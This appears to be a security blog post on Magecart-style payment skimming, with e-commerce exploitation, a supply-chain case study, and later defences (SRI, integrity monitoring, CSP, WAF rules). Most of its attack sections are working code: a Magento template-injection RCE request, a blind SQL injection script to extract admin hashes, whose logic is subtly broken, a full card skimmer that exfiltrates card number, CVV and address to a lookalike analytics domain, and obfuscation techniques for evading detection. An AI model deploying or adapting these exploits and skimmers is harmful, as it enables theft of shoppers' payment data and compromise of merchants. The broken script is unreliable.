Back to Blog
Cloud IAM Security

Compromising an E-commerce Platform: A Case Study in Magecart-style Attacks

OffSec Research Team
10 June 2026 • 09:00 AM19 min
Compromising an E-commerce Platform: A Case Study in Magecart-style Attacks
TL;DR — Magecart groups have stolen payment card data from thousands of retailers by injecting malicious JavaScript into checkout pages, either directly via CMS vulnerabilities or indirectly through compromised third-party analytics providers. This post walks through the full attack lifecycle including working skimmer code, CSP bypass techniques, obfuscation methods, and the supply chain injection that hit British Airways.

Executive Summary

Between 2015 and the present day, a loosely affiliated collection of threat actor groups operating under the umbrella term "Magecart" have collectively compromised the payment card data of tens of millions of consumers. Their victims include household names — British Airways, Ticketmaster, Newegg, Macy's, Sotheby's, and over 10,000 smaller retailers — and the financial damage runs into the hundreds of millions of dollars in regulatory fines, breach remediation costs, and fraudulent transaction losses alone. British Airways was fined £20 million by the UK Information Commissioner's Office as a direct result of a Magecart-style compromise.

The genius — and threat — of the Magecart technique is its simplicity relative to its impact. Traditional payment card skimming required physical hardware installation on ATMs or point-of-sale terminals. Digital skimming requires only the ability to inject a few dozen lines of JavaScript into a checkout page. Once injected, the skimmer silently intercepts payment card data as customers type it into legitimate-looking forms and exfiltrates it to an attacker-controlled server before the customer's browser submits the actual payment. The merchant's payment processor receives the card data normally. The transaction completes. The customer notices nothing. The attacker now has a valid, unexpired card number, CVV, expiration date, and billing address.

This post examines the full technical lifecycle: initial access to Magento and WooCommerce platforms, the mechanics of JavaScript skimmer injection, the supply chain attack vector demonstrated by the British Airways breach, Content Security Policy bypass techniques, JavaScript obfuscation for signature evasion, and the defenses that can detect and prevent these attacks. All code is presented for educational and defensive purposes. Deploying payment card skimmers is a federal crime under 18 U.S.C. § 1029 and numerous other statutes.


Magecart: Threat Actor Landscape

"Magecart" is not a single threat actor but an umbrella term coined by RiskIQ to describe at least 18 distinct groups that have adopted digital skimming as their primary revenue model. The groups range in sophistication from opportunistic attackers who purchase pre-built skimmer kits on dark web forums to nation-state-adjacent groups that develop zero-day exploits for e-commerce platforms.

Group 4 is considered among the most sophisticated, responsible for the British Airways compromise and notable for using infrastructure that mimics legitimate analytics providers. Group 5 specializes in supply chain attacks, targeting aggregator services and JavaScript libraries used by thousands of retailers. Group 6 conducted the Ticketmaster breach by compromising a third-party chatbot provider (Inbenta Technologies) whose JavaScript ran on Ticketmaster's checkout page.

High-Profile Breaches

TargetDiscovery DateEstimated Cards StolenAttack VectorFinancial Impact
British AirwaysSeptember 2018~500,000Third-party script (Modernizr CDN)£20M ICO fine
TicketmasterJune 2018~40,000Inbenta chatbot JS compromiseSettlement costs
NeweggSeptember 2018Hundreds of thousandsDirect Magento compromiseUndisclosed
Macy'sOctober 2019UndisclosedCheckout page script injectionUndisclosed
Claire'sJune 2020UndisclosedShopify store compromiseUndisclosed
Click2Gov2019-2020300,000+Government utility payment portalsUndisclosed

Initial Access: Compromising the Merchant Platform

Magento Exploitation

Magento (now Adobe Commerce) is the most frequently targeted e-commerce platform in Magecart attacks due to its market share and a consistent history of exploitable vulnerabilities.

CVE-2022-24086 (CVSS 9.8): A pre-authentication remote code execution vulnerability in Magento 2.3.x and 2.4.x via server-side template injection in the billing/shipping address fields during checkout. An unauthenticated attacker could craft a malicious order that executed arbitrary PHP on the server.

bash
#!/bin/bash# CVE-2022-24086 — Magento SSTI to RCE (simplified PoC)# This targets the order placement endpoint with a crafted billing address TARGET="https://target-store.com"# The vulnerable field is the "street" parameter in address data# Magento's email template engine evaluates {{}} expressions PAYLOAD='{{if not defined("key") and assign("key","phpinfo()") and call_user_func("system","id")}}x{{/if}}' curl -s -X POST "${TARGET}/rest/V1/guest-carts/$(uuidgen)/billing-address" \  -H "Content-Type: application/json" \  -d "{    \"address\": {      \"firstname\": \"Test\",      \"lastname\": \"User\",      \"email\": \"test@test.com\",      \"street\": [\"${PAYLOAD}\"],      \"city\": \"City\",      \"region_code\": \"CA\",      \"postcode\": \"90210\",      \"country_id\": \"US\",      \"telephone\": \"555-0100\"    }  }"

SQL Injection in Magento Admin Panel: Older Magento 1.x installations (reached end-of-life in June 2020 but remain widely deployed) have multiple SQL injection points. The customer grid filter at /admin/customer/grid accepts unsanitized input in several sorting parameters:

python
#!/usr/bin/env python3"""Magento 1.x admin panel SQLi — extract admin credentialsRequires knowledge of admin URL prefix (often /admin but frequently customized)"""import requestsimport string TARGET = "https://target-store.com"ADMIN_URL = "/admin_xyz123"  # Enumerate with wordlist if unknown session = requests.Session() # First obtain a valid admin session via credential brute-force or# phishing (common: "Your Magento store has a critical security update")# Then exploit SQL injection in filter parameter def sqli_extract_char(session, position, query_fragment):    """Time-based blind SQLi character extraction."""    for char in string.printable:        ascii_val = ord(char)        # Inject into sort direction parameter        payload = f"ASC,(SELECT IF(ASCII(SUBSTRING(({query_fragment}),{position},1))={ascii_val},SLEEP(2),0))"                try:            resp = session.get(                f"{TARGET}{ADMIN_URL}/customer/grid",                params={"sort": "entity_id", "dir": payload},                timeout=3            )            return char  # Timeout means sleep fired — char matched        except requests.Timeout:            return char # Extract admin password hashquery = "SELECT password FROM admin_user WHERE username='admin' LIMIT 1"result = ""for i in range(1, 65):    char = sqli_extract_char(session, i, query)    result += char    print(f"\r[*] Hash so far: {result}", end="", flush=True) print(f"\n[+] Admin password hash: {result}")print("[*] Crack with: hashcat -m 3200 hash.txt rockyou.txt")

WooCommerce Attack Vectors

WooCommerce, running on WordPress, is attacked through the WordPress attack surface: outdated plugins with CSRF or SQLi vulnerabilities, XML-RPC brute-force, admin panel credential stuffing, and PHP file upload via vulnerable theme editors. Once admin access is obtained, the attacker has multiple paths to inject JavaScript:

  • Edit the functions.php of the active theme directly from the WordPress admin panel
  • Install a malicious plugin that injects script tags
  • Modify the WooCommerce checkout template (woocommerce/templates/checkout/form-billing.php)
  • Use the WordPress Site Editor (Gutenberg block editor) to add a Custom HTML block with script tags

The JavaScript Skimmer: Mechanics and Implementation

The core Magecart skimmer listens for form submission events on the checkout page, captures the contents of payment-related fields, and exfiltrates the data to an attacker-controlled server — all before the browser's own form submission completes.

javascript
/** * Magecart-style payment card skimmer * Educational demonstration — do not deploy against real sites *  * Designed to mimic Google Analytics or similar benign scripts * to evade casual code review. */(function() {    'use strict';     // Exfiltration endpoint — attacker uses lookalike domain    // Real example from BA breach: baways.com/    // Real example from Newegg breach: neweggstats.com/    const EXFIL_DOMAIN = 'https://cdn.googl-analytics.com/collect';     // Field name patterns to target — covers Magento, WooCommerce, Shopify checkouts    const CARD_FIELD_PATTERNS = [        /card[_-]?num/i, /cardnum/i, /credit[_-]?card/i,        /cc[_-]?num/i, /cc_number/i, /card_number/i,        /payment[_-]?card/i, /pan\b/i    ];    const CVV_PATTERNS    = [/cvv/i, /cvc/i, /csc/i, /security[_-]?code/i];    const EXPIRY_PATTERNS = [/exp/i, /expir/i, /card[_-]?date/i];    const NAME_PATTERNS   = [/card[_-]?holder/i, /name[_-]?on[_-]?card/i, /cc[_-]?name/i];     function matchesPatterns(name, patterns) {        return patterns.some(p => p.test(name));    }     function harvestFormData(form) {        const collected = {};        const fields = form.querySelectorAll('input, select');         fields.forEach(field => {            const name = (field.name || field.id || '').toLowerCase();            const value = field.value;            if (!value) return;             if (matchesPatterns(name, CARD_FIELD_PATTERNS)) {                collected.cn = value.replace(/\s/g, '');  // card number            } else if (matchesPatterns(name, CVV_PATTERNS)) {                collected.cv = value;            } else if (matchesPatterns(name, EXPIRY_PATTERNS)) {                collected.ex = value;            } else if (matchesPatterns(name, NAME_PATTERNS)) {                collected.nm = value;            }            // Also grab billing address for card-not-present fraud            else if (/billing.*address|address.*1/i.test(name)) {                collected.a1 = value;            } else if (/billing.*zip|post.*code/i.test(name)) {                collected.zp = value;            }        });         return collected;    }     function exfiltrate(data) {        if (!data.cn) return;  // No card number = nothing useful         // Encode as base64 to evade simple string matching in WAF rules        const payload = btoa(JSON.stringify(data));         // Method 1: Image beacon (bypasses same-origin policy, no CORS preflight)        new Image().src = `${EXFIL_DOMAIN}?v=1&t=event&_=${payload}&z=${Date.now()}`;         // Method 2: sendBeacon API (reliable on page unload, doesn't block)        if (navigator.sendBeacon) {            navigator.sendBeacon(EXFIL_DOMAIN, new Blob(                [JSON.stringify({ v: '1', t: 'pageview', dp: payload })],                { type: 'application/json' }            ));        }    }     function installHooks() {        // Hook form submit events on all existing forms        document.querySelectorAll('form').forEach(form => {            form.addEventListener('submit', function(e) {                exfiltrate(harvestFormData(this));                // Don't prevent default — let the real submission proceed            }, { capture: true });        });         // Hook dynamically created forms (SPAs, AJAX checkout flows)        const observer = new MutationObserver(mutations => {            mutations.forEach(m => {                m.addedNodes.forEach(node => {                    if (node.nodeType === 1) {                        if (node.tagName === 'FORM') {                            node.addEventListener('submit', function(e) {                                exfiltrate(harvestFormData(this));                            }, { capture: true });                        }                        node.querySelectorAll && node.querySelectorAll('form').forEach(f => {                            f.addEventListener('submit', function(e) {                                exfiltrate(harvestFormData(this));                            }, { capture: true });                        });                    }                });            });        });        observer.observe(document.body, { childList: true, subtree: true });         // Also hook button click events for single-page checkout flows        // where form 'submit' may not fire        document.addEventListener('click', function(e) {            const el = e.target.closest('button[type="submit"], input[type="submit"], .place-order, #place_order');            if (el) {                const form = el.closest('form') || document.querySelector('form.checkout');                if (form) exfiltrate(harvestFormData(form));            }        }, { capture: true });    }     // Wait for DOM ready, then install    if (document.readyState === 'loading') {        document.addEventListener('DOMContentLoaded', installHooks);    } else {        installHooks();    }})();

Third-Party Supply Chain Injection: The British Airways Case

The September 2018 British Airways breach is the canonical example of a supply chain Magecart attack. British Airways served a JavaScript file from a CDN that had been compromised: rather than targeting BA's own servers directly, Group 4 compromised an upstream library.

The specific vector involved the scripts/semantic.min.js file loaded on BA's checkout page — a modified version that contained a 22-line skimmer targeting the BA booking form. The exfiltration endpoint was baways.com, a domain registered by the attackers specifically to mimic a legitimate BA analytics endpoint. The domain used a valid TLS certificate, making network traffic inspection appear benign.

The attack flow:

diagram — rendering…
flowchart LR
    A[Attacker identifies\nthird-party JS libraries\nloaded on BA checkout] --> B[Compromise CDN/library\nsource — Modernizr\nor analytics provider]
    B --> C[Inject skimmer into\nlegitimate JS bundle\nserved by CDN]
    C --> D[BA checkout page\nloads 'trusted' script\nwith embedded skimmer]
    D --> E[Customer enters\npayment card data]
    E --> F[Skimmer intercepts\nbefore form submission]
    F --> G[POST to baways.com\nLookalike domain\nHTTPS — valid cert]
    G --> H[BA payment processor\nreceives real transaction\nnormally]
    H --> I[Customer sees\nsuccess page\nNothing suspicious]
    subgraph "Attacker infrastructure"
        G
    end
    subgraph "Victim checkout page"
        D
        E
        F
    end

The timeline between the BA attack's start and discovery was approximately 15 days. During those 15 days, every customer who completed a booking on ba.com had their payment details stolen. The sheer duration of undetected operation illustrates the core challenge: once injected, a skimmer looks identical to legitimate analytics calls unless you specifically inspect the JavaScript content or monitor outbound POST destinations.


CSP Bypass for Exfiltration

Content Security Policy (CSP) is intended to be the primary browser-side defense against skimmer exfiltration. A properly configured CSP header specifies exactly which domains the page is allowed to make requests to. If the CSP does not include googl-analytics.com, the browser should refuse the skimmer's exfiltration requests.

In practice, most e-commerce sites have weak or bypassable CSPs.

Technique 1: Using Legitimate Whitelisted Domains

A typical e-commerce CSP might include:

shell
Content-Security-Policy: script-src 'self' https://www.google-analytics.com https://connect.facebook.net https://js.stripe.com; connect-src 'self' https://*.google-analytics.com https://api.stripe.com

The wildcard https://*.google-analytics.com is the problem. If the attacker can register or compromise any subdomain of google-analytics.com — which they cannot for that domain directly, but many sites use less precise wildcards like *.googleusercontent.com or CDN provider wildcard domains — exfiltration is permitted by policy.

Technique 2: DNS Rebinding for Exfiltration via img Src

Image beacons send data via GET parameters, not a POST body. Most CSPs do not include an img-src directive (they rely on the default-src fallback) or have img-src * (wildcard). The new Image().src = exfil_url exfiltration technique in the skimmer code above exploits this gap.

Technique 3: Nonce Prediction in CSPs

CSPs can use a nonce-based script-src — each <script> tag must have a nonce="randomvalue" attribute matching the CSP header's nonce. If the nonce is not cryptographically random (e.g., it's based on a timestamp or sequential counter), an attacker who can predict the nonce can inject a <script nonce="predicted_value"> tag.

Technique 4: JSONP Callback Abuse

Any JSONP endpoint whitelisted in the CSP's script-src can be abused for data exfiltration by using the JSONP callback parameter to reflect attacker-controlled content. For example, a CSP that allows script-src https://accounts.google.com is vulnerable if Google exposes a JSONP endpoint that reflects the callback parameter.


JavaScript Obfuscation: Evading Signature Detection

Magecart groups continuously evolve their skimmer code to evade detection by security scanners and file integrity monitoring tools that look for known-bad strings.

javascript
/** * Obfuscated skimmer — demonstrates common evasion techniques * Deobfuscated equivalent of the skimmer shown earlier */ // Technique 1: String splitting and concatenationvar _0x1a2b = ['sub', 'mit', 'input', 'card', 'num'];var evtName = _0x1a2b[0] + _0x1a2b[1];  // 'submit' — won't match string search // Technique 2: eval(atob()) — base64 encoded payload// The inner code is the actual skimmer; outer eval executes it at runtimevar _encoded = "KGZ1bmN0aW9uKCl7dmFyIGQ9ZG9jdW1lbnQ7fSkoKTs=";eval(atob(_encoded)); // Technique 3: String.fromCharCode() encoding// Attacker encodes all sensitive strings as character code arraysvar exfilDomain = String.fromCharCode(    104,116,116,112,115,58,47,47,99,100,110,46,    103,111,111,103,108,45,97,110,97,108,121,116,    105,99,115,46,99,111,109);// Decodes to: "https://cdn.googl-analytics.com" // Technique 4: Polymorphic key generation (changes on every page load)// Skimmer fingerprint changes each time while behavior stays the samevar _k = (function() {    var _seed = new Date().getTime() & 0xFFFF;    return function(s) {        return s.split('').map(function(c, i) {            return String.fromCharCode(c.charCodeAt(0) ^ ((_seed + i) & 0xFF));        }).join('');    };})(); // Technique 5: Prototype pollution to override Array.prototype.join// Makes string analysis tools produce incorrect resultsvar _origJoin = Array.prototype.join;Array.prototype.join = function(sep) {    if (this._skimmer_arr) {        // Decode the real array content before joining        return _origJoin.call(this.map(function(c){ return String.fromCharCode(c - 13); }), sep);    }    return _origJoin.call(this, sep);};

Real-world Magecart skimmers have been observed using:

  • Dead code insertion: Hundreds of lines of meaningless calculations surround the functional skimmer code
  • Comment camouflage: The skimmer is hidden inside a multi-line comment in an otherwise legitimate script, then extracted and eval()'d by a small bootstrap hidden elsewhere on the page
  • WebAssembly execution: Core skimmer logic compiled to WASM for resistance to JS decompilation tools

Exfiltration Infrastructure: Lookalike Domains and CDN Proximity

Attacker infrastructure for Magecart operations is designed with operational security:

Lookalike domains target analysts performing quick visual checks. Common patterns:

  • google-analytics.cm (wrong TLD)
  • googl-analytics.com (missing letter)
  • cdn-jquery.com (mimics jQuery CDN)
  • [targetbrand]-metrics.com (brand-specific)

Geographic CDN proximity reduces latency for the exfiltration request (making it complete before any network-level detection fires) and routes traffic to jurisdictions with weak cybercrime enforcement.

HTTPS with valid TLS certificates: Let's Encrypt makes it trivial to obtain free valid TLS certificates for any domain. All modern Magecart exfiltration uses HTTPS, making the traffic appear legitimate to casual network monitoring.


Sub-Resource Integrity (SRI): Defense Against Supply Chain Injection

SRI is the correct cryptographic defense against supply chain attacks like the British Airways compromise. An SRI hash pins a third-party script to a specific content hash. If the script's content changes — because an attacker modified it — the hash no longer matches and the browser refuses to execute it.

html
<!-- Without SRI — vulnerable to supply chain injection --><script src="https://code.jquery.com/jquery-3.7.1.min.js"></script> <!-- With SRI — protected against supply chain injection --><script  src="https://code.jquery.com/jquery-3.7.1.min.js"  integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo="  crossorigin="anonymous"></script>

To generate an SRI hash for a script you control:

bash
# Generate SRI hash for a local fileopenssl dgst -sha256 -binary jquery-3.7.1.min.js | openssl base64 -A# Output: /JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=# Prepend "sha256-" to form the integrity attribute value # Or use the sri-hash toolnpx sri-hash https://code.jquery.com/jquery-3.7.1.min.js

SRI has a significant limitation: it is an all-or-nothing control. If a legitimate third-party script updates its content (for a bug fix, feature change, or version update), the SRI hash becomes invalid and the script stops loading entirely. This creates operational friction that causes many organizations to not implement SRI for regularly-updated third-party dependencies.


Detection: Finding Skimmers Before Customers Do

Client-Side JavaScript Monitoring

Tools like PerimeterX (now HUMAN), Akamai Page Integrity Manager, and open-source projects like jsinspect perform runtime monitoring of JavaScript behavior in the browser. They hook into DOM APIs and network APIs and alert when unexpected behavior occurs — for example, if a script that has never previously read from a payment input field suddenly starts doing so.

PCI DSS File Integrity Monitoring

PCI DSS Requirement 6.4.3 (as of PCI DSS v4.0, effective March 2025) explicitly requires organizations to manage all JavaScript loaded on payment pages and maintain an inventory with justification for each script. Requirement 11.6.1 requires a change- and tamper-detection mechanism for payment page headers and scripts.

Tripwire Enterprise and similar FIM tools can hash every JavaScript file served by the application and alert on any change. This would have detected the British Airways compromise within the first scan cycle after the attacker modified the script.

bash
# Simple bash-based FIM for checkout page JS (illustrative)#!/bin/bashBASELINE_DIR="/var/fim/baseline"TARGET_URL="https://your-store.com/checkout" # Get list of JS files loaded on checkout pageJS_FILES=$(curl -s "$TARGET_URL" | \  grep -oP 'src="[^"]*\.js[^"]*"' | \  sed 's/src="//;s/"//') while IFS= read -r js_url; do    # Compute hash of current version    CURRENT_HASH=$(curl -s "$js_url" | sha256sum | cut -d' ' -f1)    SAFE_NAME=$(echo "$js_url" | tr '/:' '_')    BASELINE_FILE="${BASELINE_DIR}/${SAFE_NAME}.hash"     if [ -f "$BASELINE_FILE" ]; then        STORED_HASH=$(cat "$BASELINE_FILE")        if [ "$CURRENT_HASH" != "$STORED_HASH" ]; then            echo "ALERT: JS content changed: $js_url"            echo "  Old: $STORED_HASH"            echo "  New: $CURRENT_HASH"        fi    else        # First run — create baseline        echo "$CURRENT_HASH" > "$BASELINE_FILE"        echo "Baseline created for: $js_url"    fidone <<< "$JS_FILES"

WAF Rules for Unusual POST Destinations

ModSecurity and commercial WAF rules can flag POST requests from checkout pages to domains not in an allowlist. This is an imperfect control (attackers can use image GET requests instead) but catches unsophisticated skimmers:

apache
# ModSecurity rule — alert on checkout page POSTing to non-whitelisted domains# This would need to be implemented as client-side CSP + reporting, not server WAF# Server-side WAF cannot inspect requests made by the customer's browser to external domains# The correct enforcement mechanism is CSP report-only or report-to directives # Server-side: flag if response page contains script tags to known-bad domainsSecRule RESPONSE_BODY "@rx <script[^>]+src=['\"]https?://(?!legitimate-cdn\.com|jquery\.com|trusted-analytics\.com)" \    "id:90001,phase:4,deny,status:500,msg:'Possible skimmer script injection in response'"

MITRE ATT&CK Mapping

ATT&CK TacticTechnique IDTechnique NamePhase in This Post
Initial AccessT1190Exploit Public-Facing ApplicationCVE-2022-24086 Magento RCE
Initial AccessT1189Drive-by CompromiseCustomer browser loads injected skimmer
Initial AccessT1195.002Supply Chain Compromise: Compromise Software Supply ChainThird-party JS library compromise (BA case)
ExecutionT1059.007Command and Scripting Interpreter: JavaScriptSkimmer execution in browser context
PersistenceT1176Browser ExtensionsPersistent skimmer via compromised plugin
Credential AccessT1185Browser Session HijackingSession cookie harvesting via skimmer
Credential AccessT1056.003Input Capture: Web Portal CapturePayment card field interception
CollectionT1119Automated CollectionSkimmer auto-collection on form submit
ExfiltrationT1041Exfiltration Over C2 ChannelImage beacon / sendBeacon exfiltration
ExfiltrationT1567Exfiltration Over Web ServiceHTTPS POST to lookalike domain
Defense EvasionT1027Obfuscated Files or Informationeval(atob()), charCode encoding
Defense EvasionT1070.006Indicator Removal: TimestompLog cleanup post-compromise

Defensive Architecture: Defense in Depth for E-commerce

Effective defense against Magecart requires layered controls at the server, application, and browser layers:

Server-side hardening: Timely patching of Magento/WooCommerce/Shopify Plus. WAF with e-commerce-specific rulesets (OWASP CRS + commercial e-commerce rules). Principle of least privilege for application database accounts (no GRANT ALL). Two-factor authentication on admin panels enforced at the network level (admin panel only accessible from specific IP ranges).

Application-layer controls: Content Security Policy with explicit connect-src allowlist — every domain your checkout page is permitted to send data to, and nothing else. CSP report-uri or report-to directive to receive violations in real time. Sub-Resource Integrity on all third-party JavaScript dependencies. Regular third-party JS inventory audits.

Browser-layer detection: Client-side protection platform (HUMAN, Akamai Page Integrity Manager) for runtime JS behavior monitoring. Payment page JavaScript inventory (PCI DSS v4.0 Requirement 6.4.3).

Monitoring and response: File integrity monitoring on all web-served JavaScript files. Automated checkout page crawling with JS hash comparison. PCI DSS compliance program including annual penetration testing of payment pages specifically.


Conclusion

Magecart attacks represent one of the highest-ROI attack vectors in financially motivated cybercrime. The investment required — a few hours of reconnaissance, a Magento exploit or compromised plugin, and a few dozen lines of JavaScript — yields payment card data for every customer who transacts on the compromised site until the skimmer is detected and removed.

The British Airways breach illustrates the most insidious variant: supply chain injection means you can harden your own application to perfection and still serve malicious JavaScript because an upstream library was compromised. The answer to this threat is Sub-Resource Integrity, strict CSP, and continuous monitoring of every script served on your payment pages.

For red teamers engaged in e-commerce security assessments, the Magecart techniques documented here represent an important test of a client's detective and preventive controls. The bar for detection — a simple JavaScript hash change — should be trivially met. The frequency with which major retailers fail this test is a reminder that the gap between "possible to defend" and "actually defended" remains wide.